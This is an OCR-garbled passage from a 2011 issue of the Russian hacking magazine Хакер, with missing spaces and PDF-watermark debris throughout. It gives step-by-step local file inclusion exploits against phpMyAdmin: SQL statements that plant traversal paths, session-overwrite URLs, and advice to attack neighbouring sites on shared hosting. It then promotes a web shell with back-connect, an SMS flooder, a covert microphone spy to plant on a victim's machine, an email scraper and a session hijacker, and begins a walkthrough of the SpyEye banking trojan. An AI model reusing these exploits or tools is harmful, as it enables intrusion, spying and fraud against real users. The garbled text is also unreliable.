1.АвторизоватьсявphpMyAdmin’еисоздатьдветаблицывдоступнойнамбазеданных.
Первуютаблицумыбудемвыводить,обращаяськsql.phpивызываятемсамымнужныенамфункции:
CREATE TABLE 'test'.'integer' ( '1' INT NOT NULL ) ENGINE = MYISAM ; INSERT INTO 'test'.'integer' ( '1' ) VALUES ( '1' );
Втораятаблицанужнанамдлясозданиякорректногомассива $GLOBALS['mime_map']:
CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL , 'mimetype' INT NOT NULL , 'transformation' TEXT NOT NULL , 'transformation_options' INT NOT NULL , 'db_name' TEXT NOT NULL, 'table_name' TEXT NOT NULL ) ENGINE = MYISAM ;
INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype', 'transformation', 'transformation_options', 'db_name', 'table_name') VALUES ('1', '1', '../../../../../../../../etc/hosts',
'1', 'test', 'integer');
Вполеtransformation мыдолжныуказатьпутьдолокального файла,вполе db_name —имятойбазыданных,которойпринадлежит
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
перваятаблица,вполе table_name —имяпервойтаблицы. Наличие в базе данных такой таблицы позволит функции
PMA_getMIME вернуть нужный нам массив $GLOBALS['mime_map'].
2.Переопределить$_SESSION['relation'] итемсамымсформироватьнужныйнаммассив$cfgRelation.
Этоможносделатьдовольнопросто.
НевыходяизPMA,открываемновуювкладкувбраузереивбиваем тудатакуюссылку:
http://phpMyAdmin/index.php?token=<текущий токен> &session_to_unset=<*x*>&_SESSION[relation][1][commwork]=1 &_SESSION[relation][1][mimework]=1&_SESSION[relation][1] [db]=test&_SESSION[relation][1][column_info]=pmatest
Подробнееопроисходящейспомощьютакогометодаперезаписи глобальныхпеременныхчитайвпредыдущемномережурнала.
3.Проинклудитьлокальныйфайл,перейдяпоссылкеhttp:// phpMyAdmin/sql.php?db=test&table=integer&token=<текущии токен>.
Есливсепрошлонормально,точутьвышетаблицыintegerпоявитсясодержимоефайлa/etc/hosts.
ВТОРОЙИНКЛУД
Следующийклассныйинклуд,которыймырассмотрим,является общимдлявсей3.4.x-веткиphpMyAdmin’авплотьдоверсии3.4.3.1 включительно.Сновазаходимнаофициальныйсайтдвижкаиищем advisoryподназваниемPMASA-2011-10.Опятьсмотримнапатч,пред- лагаемыйразработчиком,ипонимаем,чтопроблемнымявляется следующийкодвфайле sql.php:
$mime_map = PMA_getMIME($db, $table);
...
foreach($mime_map as $transformation) {
$include_file = $transformation['transformation'];
...
if (file_exists('./libraries/transformations/' . $include_file)) {
$transformfunction_name = str_replace('.inc.php', '',
$transformation['transformation']);
...
require_once './libraries/transformations/' . $include_file;
Чтобыдобратьсядоэтогокода,намнеобходимопройтиследующие проверки:
1.$GLOBALS['is_ajax_request'] == true .Легкопонять,чтодляудовлетворенияэтогоусловиямыдолжныпередатьскриптунепустой параметрajax_request.
2.0 == $num_rows || $is_affected.Тут у нас два варианта: обращение к таблице без записей, или в нашем обращении к скрипту должен быть какой-либо sql-запрос. Первый вариант простой, второй немного сложнее (эксплоит для второго варианта ищи в сносках).
Разобравшисьсусловиями,намостаетсятольковспомнить,что функция PMA_getMIME намужевстречаласьвышеичтодляформированиянужногонаммассива $mime_map мыдолжныиметьдоступ кбазеданныхphpmyadminилииметьвозможностьманипулированияэлементамимассива$_SESSION.Причемдоступкбазеданных phpmyadminнамнеобходимтольковверсииphpMyAdmin3.4.3.1,так каквболеераннихверсияхсуществуетвозможностьперезаписи глобальныхпеременных.
Итак,вотодинизвариантовиспользованияданногоинклудадля версииphpMyAdmin3.4.3:
1.ЛогинимсявphpMyAdminисоздаемнужнуюнамтаблицу:
CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL ,
'mimetype' INT NOT NULL , 'transformation' TEXT NOT NULL , 'transformation_options' INT NOT NULL , 'db_name' TEXT NOT NULL,
'table_name' TEXT NOT NULL ) ENGINE = MYISAM ;
074 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Тысячаиодининклудw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ПатчдляLFI-уязвимостейвphpMyAdmin’е
INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype', 'transformation', 'transformation_options', 'db_name', 'table_name') VALUES ('1', '1', '/../../../../../../../etc/hosts',
'1', 'test', '<имя пустой таблицы, к которой мы будем обращаться>');
2.Записываемвсессиюнужныенамданныеитемсамымформируем полезныйдлядальнейшихдействиймассив $cfgRelation:
http://phpMyAdmin/index.php?token=<текущий токен>
&session_to_unset=<*x*>&_SESSION[relation][1][commwork]=1
&_SESSION[relation][1][mimework]=1&_SESSION[relation][1][db]=test
&_SESSION[relation][1][column_info]=pmatest
3.Заходимпоследующейссылкеиинклудимнужныенамданные:
http://phpmyadmin/sql.php?do_transformations=1&ajax_request=1
&table=<тут имя пустой таблицы>&db=test&token=<валидный токен>
Вобщем,этотинклудимееттужесамуюприроду,чтоипредыду- щий,таккакосновнаяпричинаегопоявления—этовозможность манипулированиязначениямивмассиве $cfgRelation.
Такжемогунамекнутьтебе,чтообаописанныхинклудав
phpMyAdminкрайнеопаснынаshared-хостингах.Здесьоткрыва- етсяогромныйпростордлядействий:тыможешьпростозарегать свойаккаунтнатомжесервере,гденаходитсясайтжертвы,азатем поиметьэтотсамыйсайтспомощьюдефолтнойдлятакиххостингов системыуправленияMySQLбазамиданныхphpMyAdmin.
ПОДВЕДЕНИЕИТОГОВ
Воттак,дорогойчитатель.Насегодняшнийденьтема,казалосьбы, такогоизбитогобага,каклокальный/удаленныйинклуд,живети процветает.Постояннонаходятсяновыеспособыэксплуатации, открываютсянеиспользуемыеранеевозможностиязыкаPHP,а такженеуклонноповышаетсяуровеньзнанийбагокопателейпо всемумиру.
Особостоитотметитьтотфакт,чтодажевтакихраспространенных движках,какphpMyAdmin,ипосейденьвстречаютсяуязвимостиданноготипа.Этипростыефактыговорятотом,чторазработчикисофта неуделяютдолжноговниманияэтомутипууязвимостейинехотятпродуматьвсевозможныевариантыпередачиданныхвопасныефункции. Какбылопоказановыше,ихсуществуетнемало.
Конечно, находить инклуды становится всё сложнее и сложнее, но я надеюсь, что данная статья подтолкнет тебя к новым исследованиям. z
ХАКЕР 10/153/2011 |
075 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
/X-TOOLS |
||||||
w Click |
|
|||||||||||
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Маг(icq884888,http://snipper.ru)w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
X-Tools
СОФТДЛЯВЗЛОМАИ АНАЛИЗАБЕЗОПАСНОСТИ
ОС:
Windows2000/ XP/2003Server/ Vista/2008Server/7
Автор: c0nDifesa
1
РАСПРЕДЕЛЕННЫЙ БРУТФОРСDEFBRUTE
Оченьчастопереднашимбратомвстаетзадача восстановлениястрокипоееMD5-хешу.Не менеечастотакаязадачауспешновыполняется спомощьюразнообразныхсловарей,разбросанныхпоСети.Ночтоделать,еслитакойперебор растягиваетсянанеопределеннодолгийсрокив словаряхпросто-напростонетискомойстроки? Намостаетсятолькопосимвольнаягенерация строкисравнениеиххешасцелевым.Этотпроцессиназываетсябрутфорсом.
Выполнениеданногопроцессанаодноймашиневыглядитпоменьшеймеренерационально, поэтомуяиспешупредставитьтебеспециальное программноесредство,предназначенноедля брутфорсанасразунесколькихмашинах.
Итак,DefBrute—этосистемараспределенного переборастрокдляMD5-хешей.Даннаясистема состоитизсервернойиклиентскойчастей.
Сервернаячасть(DefBrutev1.0.exe)выполняет функциигенерации,учетаипередачидиапазоновстрокклиентам.КлиентдляDefBruteпредставляетсобойконсольноеприложение,формат запускакоторогоследующий:
defbc.exe <server ip> <server port>
Такженастоятельнорекомендуютебепрочитатьнаходящуюсяпоадресуwww.defec.ru/node/4 статьюавтораобособенностяхфункционированияипроцессесозданияпрограммы.
ОС: |
ОС: |
*nix/win |
Windows2000/ |
Автор: |
XP/2003Server/ |
Vista/2008Server/7 |
|
profexer |
Автор: |
|
|
|
ZdezBilYa |
|
|
2 |
|
|
|
3 |
||
|
|
|
|
|
|
|
|
|
PHP-ВЕБ-ШЕЛЛP.A.S. |
|
|
ICQSMS-ФЛУДЕР |
|
|
|
Оченьдавновнашихобзорахнебылоникаких веб-шеллов.Насталовремяисправитьэтонедо- разумение.Встречаем:P.A.S.(phpweb-shell)от мемберафорумаrdot.orgprofexer’а.Помимовсей стандартнойфункциональности,шеллимеетряд фишек:
1.Авторизацияпокукисам.
2.Шифрованиешеллатвоимсобственным ключем: поадресуbit.ly/r36L3kможнособрать шеллсуникальнымпаролем.Апарольдля шеллананашемдиске—«1».
3.Файловыйменеджерподдерживаетгрупповоеудаление,перемещение,копирование, скачиваниеизагрузкуфайловидиректорий.
4.SQL-клиентдляMySQL,MSSQL,PostgreSQL, удобнодампитьБДитаблицы.
5.Bindport(Perl).
6.Back-connect(Perl).
7.Portscanner(PHP).
8.BruteForceнаоснове/etc/passwdдляSSH, FTP,POP3,MySQL,MSSQL,PostgreSQL
свозможностьюнастроек.
9.ВыполнениекомандОСиPHP-кода различнымиспособами.
10.Малыйразмер(15Кб).
Кромеэтого,нельзянеотметитьудобный аскетичныйдизайнскрипта:черныйцветиверсткапоцентруэкранавсегдабылиибудутсамым удобнымвариантом.
НаочередиещеоднакласснаяпрограммаотпостоянногофигурантанашейрубрикиZdezBilYa. Какясноизназвания,ICQsmsflooder—этосмс- флудермобильноготелефона,работающийчерез протоколICQ.Особенностиифункционалтулзы:
•поддерживаютсяномераМТС,Билайнаи Мегафона;
•одинномерICQпозволяетотправить5смс;
•текстабонентуприходитввиде“(*префикс*, icq)*текст*”;
•многопоточность;
•статистикаотправкисмс(«бэды»и«гуды»). Максимальнаядлинатекста,какивовсех
стандартныхсмсках,составляет160символов (латиницей)или70символов(юникодом,русскимисимволами).
Дляначалаработысутилитойтебененужны никакиеспециальныезнания.Достаточнолишь вбитьномердляфлуда,номерипарольICQ, ввеститекстsms,выбратьколичествопотоков инажатьнакнопкусзеленойстрелкой.Дальше флудервсёсделаетзатебя.
Такжевкомплектеидетпрограмма«ICQsms check»дляотбораномеровсдоступнымиSMS. Работасчекеромтожевыглядитдостаточнотривиально:выбираемисходныйфайлсномерами телефонов,выбираемпотоки,вводимпутьдля сохраненияфайласрезультатамипроверкии навыходеполучаемномера,подходящиедля мобильногофлуда.
076 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
||
|
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
||
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
m |
||||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
-xcha |
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
|
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
t |
|
||
|
|
|
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
NOW! |
r |
||||||
|
|
|
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
|
|
X-Toolsw Click |
|
|
|
|
|
|
o |
||||
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
|
|
|
p |
df |
|
|
|
|
e |
|
||
|
|
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОС: |
FACENIFF:УГОНЧУЖИХСЕССИЙСОСМАРТФОНА |
|
|
|
|
|
|
|
|
|
|
|
|
|
Android |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Автор: |
FaceNiff—этоещеболеебезбашенноеразвитие |
налюбомAndroid-смартфонезапуститьэтот |
|
|
|
|
|
|
|
|
|
|
|
|
bponury |
|
|
|
|
|
|
|
|
|
|
|
|||
идеиаддонаFiresheep,авторкотороговпервые |
хек-инструментиперехватыватьаккаунтысамых |
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||||||
|
сделалугончужихHTTP-сессийдоступным |
разныхсервисов:FaceBook,Twitter,ВКонтакте |
|
|
|
|
|
|
|
|
|
|
||
|
длялюбыхжелающих.Установиврасширение |
ит.д.—всегоболее10.Все,чтонужно,—это |
|
|
|
|
|
|
|
|
|
|
|
|
|
FiresheepвсвойFirefox,можновообщеничего |
подключитьсякнужнойбеспроводнойсетии |
|
|
|
|
|
|
|
|
|
|
|
|
|
неделаяперехватитьсессииFacebook,Twitter, |
запуститьприложение(можешьпосмотретьви- |
|
|
|
|
|
|
|
|
|
|||
|
FlickrиAmazon.comтехпользователей,которые |
деодемонстрацию:bit.ly/qbzwGh).Правда,чтобы |
|
|
|
|
|
|
|
|
|
|||
|
работаливтойжебеспроводнойсетиинеисполь- |
сдержатьпотокскрипкидис,авторограничил |
|
|
|
|
|
|
|
|
|
|
|
|
|
зовалибезопасныеспособыаутентификации. |
максимальноечислосессийтремя—дальше |
|
|
|
|
|
|
|
|
|
|
|
|
|
Такимобразомисследовательхотелпривлечь |
нужнообратитьсякразработчикузаспециаль- |
|
|
|
|
|
|
|
|
|
|
||
|
вниманиекэтойпроблеменетолькоспециали- |
нымактивационнымкодом. |
|
|
|
|
|
|
|
|
|
|
|
|
|
стовпоИБ,ноиширокихмасс. |
FaceNiffтребуетналичиятелефонанаAndroid |
|
|
|
|
|
|
|
|
||||
|
СоздательFaceNiffпошелещедальшеи |
срут-доступом.Приэтомонотличносебячув- |
|
|
|
|
|
|
|
|
|
|
|
|
|
реализовалидеюFiresheepввидемобильного |
ствуетвлюбых,дажезащищенныхсетях(WEP, |
|
|
|
|
|
|
|
|
|
|
||
|
приложения!Да-да,скачавapk-пакетспро- |
WPAиWPA2).Единственноепрепятствие—это |
|
|
|
|
|
|
|
|
|
|
||
|
граммой(faceniff.ponury.net),можнопрактически |
используемаявсетитехнологияEAP. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОС: |
ОС: |
ОС: |
Windows2000/ |
Windows2000/ |
Windows2000/ |
XP/2003Server/ |
XP/2003Server/ |
XP/2003Server/ |
Vista/2008Server/7 |
Vista/2008Server/7 |
Vista/2008Server/7 |
Автор: |
Автор: |
Автор: |
||
SLESH |
FlameofSoul |
xmadstyle |
||
|
|
|
|
|
4 |
|
5 |
|
6 |
МИКРОФОННЫЙ |
|
|
|
|
|
ЛЕГКИЙВЗЛОМ |
ХЕШЕЙСMD5 |
|
|
ШПИОНMICSPYSE |
|
EMAIL-ГРАББЕРXSPRYT |
|
ONLINESCANNER |
|||||
|
|
|
|
||||||
Еслитыпомнишь,впрошломвыпускеX-Tools |
Теперьпереходимкзамечательномумыльному |
ТеперьжедавайвернемсяковзломуMD5ивни- |
|||||||
былописанзамечательныймикрофонный |
грабберуслаконичнымназваниемXSpryt.Данная |
мательнопосмотримнапрогуMD5OnlineScanner, |
|||||||
шпионMicSpyотСлеша.Теперьжепришловремя |
прогапоможеттебелегкоибыстроспарситьвсе |
созданнуюмемберомАнтичатаxmadstyleспеци- |
|||||||
представитьтебеизумительнуюмодификацию |
встреченныеemail-адресасвыбранноготобой |
альнодляпрогонахешейпоспециализирован- |
|||||||
даннойпрограммыподназваниемMicSpySE |
сайта,адальшетыужесамвполнесможешьопре- |
нымонлайн-сервисам. |
|||||||
(StreamEdition). |
делиться,чтоделатьсполученнымсписком.Но |
Итак,даннаяутилитапредставляетсобой |
|||||||
|
Основнаяфичаданнойутилиты,какясноиз |
помни,чтомывсегдабылиибудемпротивспама! |
сканерMD5-хешейнапредметихналичиявраз- |
||||||
названия,заключаетсявтом,чтозвукпередает- |
Достоинстваинедостаткипроги: |
личныхонлайн-базах. |
|||||||
сянаблюдателювпотоковомрежиме. Основные |
• |
однопоточность; |
Особенностисканера: |
||||||
измененияпосравнениюспредыдущейверсией |
• |
заданиетайм-аута; |
• многопоточность(до250потоков); |
||||||
шпиона: |
• |
низкоепотреблениесистемныхресурсов; |
• возможностьвыбораформатавходных |
||||||
• |
отсутствиеадминки; |
• |
отсутствиеэвристики(сайтнесканитсясам); |
ивыходныхданных; |
|||||
• записьзвукабольшенепроизводитсявфайлы; |
• |
удалениедубликатов; |
• возможность выбора онлайн-сервисов |
||||||
• существенноуменьшенразмер:после |
• |
сохранениепройденногоприкрахе; |
«на лету»; |
||||||
|
упаковкиUPX’омразмербудетсоставлять |
• |
подробныеотчетыпонайденныммылами |
• возможностьсканированияизбуфера |
|||||
|
всего-навсего5632байта; |
|
пройденнымссылкам. |
илифайла; |
|||||
• передачаданныхвпсевдопотоковом |
Работаспрогойвыглядитдостаточнотривиально: |
• возможностьсохранениярезультатов |
|||||||
|
режимечерезсеть; |
1. |
Запускаемexe-файл. |
вбуферилифайл; |
|||||
• |
возможностьпрослушиванияпотока |
2. |
Дальшеграбберсампопроситввестивсё,что |
• удобныйGUI,возможностьсворачиваниявтрей. |
|||||
|
черезWinAmp; |
|
необходимодляначалапарсинга. |
Прогаподдерживаеттакиеизвестныеонлайн- |
|||||
• |
возможностьодновременного |
|
Такжетывполнеуспешносможешьработатьс |
сервисы,как:c0llision.net,tmto.org,www.md5this. |
|||||
|
подключения256пользователей. |
утилитойиприпомощиконсоли:grabber.exe -h |
com,md5.hashcracking.com,md5online.net, |
||||||
|
|
|
|
winne.com -p 80 -t 3000.Здесьпараметрыобо- |
hashkiller.comиещеоколо30других. |
||||
|
Использоватьшпионнепросто,аоченьпро- |
значаютследующее: |
Особоевниманиеследуетобратитьнаудоб- |
||||||
сто:онзагружаетсянакомпьютержертвы,после |
• |
h—хост(безhttp://); |
нейшиевстроенныемакросы,используемыепри |
||||||
чегоможнонатравливатьлюбойпотоковый |
• |
p—порт; |
экспортеиимпортесписковхешейвсканер: |
||||||
плеернаадресhttp://[IPжертвы]:4545.Осталось |
• |
t—тайм-аутвмикросекундах. |
[MD5]—текущийхеш; |
||||||
толькоприкрутитьнехитруювозможностьback |
|
Всеспарсенныемыльникисохраняютсявmail. |
[DATA]—твоикомментарии(логин,мылоит.д.); |
||||||
connect'а—итулзастанетреальнобесценной. |
txt;ссылкидляпарсинга,которыетыприготовил |
[TEXT]—исходнаястрокадляхеша(пароль); |
|||||||
|
|
|
|
заранеедляопределенногосайта,кидайвlink.txt. |
[SERVICE]—адрессервиса,расшифровавшегохеш. |
ХАКЕР 10/153/2011 |
077 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|||
|
|
|
|
to |
MALWAREm |
||||
w Click |
|
||||||||
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
Глаз
зла
МАСШТАБНЫЙТРОЯН SPYEYEПОДХАКЕРСКИМ МИКРОСКОПОМ
Входепроведениярасследования одногоизинцидентоввнашируки попалоруководствокизвестнейше- мувредоносномуПО—SpyEye.Что самоепримечательное,руководство былокакнаанглийском,такинарусскомязыках.Напримереэтогодокументамырассмотрим,чтопредставляетизсебяSpyEyeсточкизрения хакера,аневирусногоаналитика.
INFO
ВэтойстатьерассматриваетсяSpyEye версииv1.3.25от 14.03.2011.
Нанашемдискетебя ждетполнаяверсия статьи,содержащаяописаниевсех ключей,плагинови прочихтонкостей, которыеневыдерживаетбумажная версияжурнала.
СхемамошенничествасДБО
МОШЕННИЧЕСТВОВДБО
ПокупкавредоносногоПО
Шифрованиеисполняемыхфайлов
Арендасерверовдляуправленияботнетом
ПокупкатрафикавопределенныхрегионахРФ
Отправкаплатежныхпоручений
Выводилегализацияденежныхсредств
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
СергейНикитинw Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
оследнеевремяможносмелосчитатьэпохой
Пботнетов:вирусыстремятсякцентрализациии автоматизации.Крупнейшиеботнетыиспользуются
дляDDoS’а,рассылкиспама,совершениямошенничествс платежнымисистемами.SpyEyeотличноподходитнароль банковскоготрояна,нацеленногонасовершениемошенничестваспомощьюсистемдистанционногобанковскогообслуживания.SpyEyeраспространяетсяввидеготовогопродукта, акакегоиспользовать—решитсампокупатель.
СХЕМАМОШЕННИЧЕСТВА
ПервымделомзлоумышленникпокупаетSpyEye(думаю, длятебянесекрет,чтокодяттрояныоднилюди,аиспользу- ют—совсемдругие).Вкомплектеидетсервернаяиклиент- скаячасти,втомчислебилдерботов.Контроллерботнета размещаетсявСети,злоумышленникпокупаеттрафикдля заражениякомпьютеров.Зачастуювзломомсайтовираз- мещениемэксплойт-паковзанимаютсядругиелюди—те, которыепродаюттрафикдляботнетов.Статистикауспешного заражениясоставляетоколо10%.Послезаражениякомпьютерстановитсяботомиотсылаетмассуданныхнаконтроллер ботнета.ФункционалSpyEyeвесьмаобширениможетдополнятьсяплагинами.Злоумышленникчерезадминистративную
панельконтроллераможетсовершатьмассудействийсботом, втомчислеподключатьсячерезудаленноеуправлениеипроводитьплатежичерезсистемуДБО.Логины/пароликсистеме ДБО,пин-кодыктокенампохищаютсячерезмодульскрытного копированияданныхизразличныхформ—формграббер.
Послепохищенныеденежныесредствалегализуются. ГлавныминструментомустановкиSpyEyeявляетсявиртуальнаяоперационнаясистемаGNU/LinuxDebian5.0.Вэтой ОСужеустановленвеб-сервервместеспанельюуправления формграббера,атакжеssh-клиентипрочийинструментарий. РаспространяетсяввидевиртуальноймашиныVirtualBox.
Главнаяпанельуправлениянужнадляучетастатистикипо ботам,атакжедляуправленияими.Дляееработынеобхо- димустановленныйвеб-серверсподдержкойPHP,атакже MySQL-сервер.Панельразделенанасервернуюиклиентскую части.Кобеимприлагаютсяинсталляторы.Сервернаячасть представляетсобойодинфайл—gate.php.
078 |
ХАКЕР 10/153/2011 |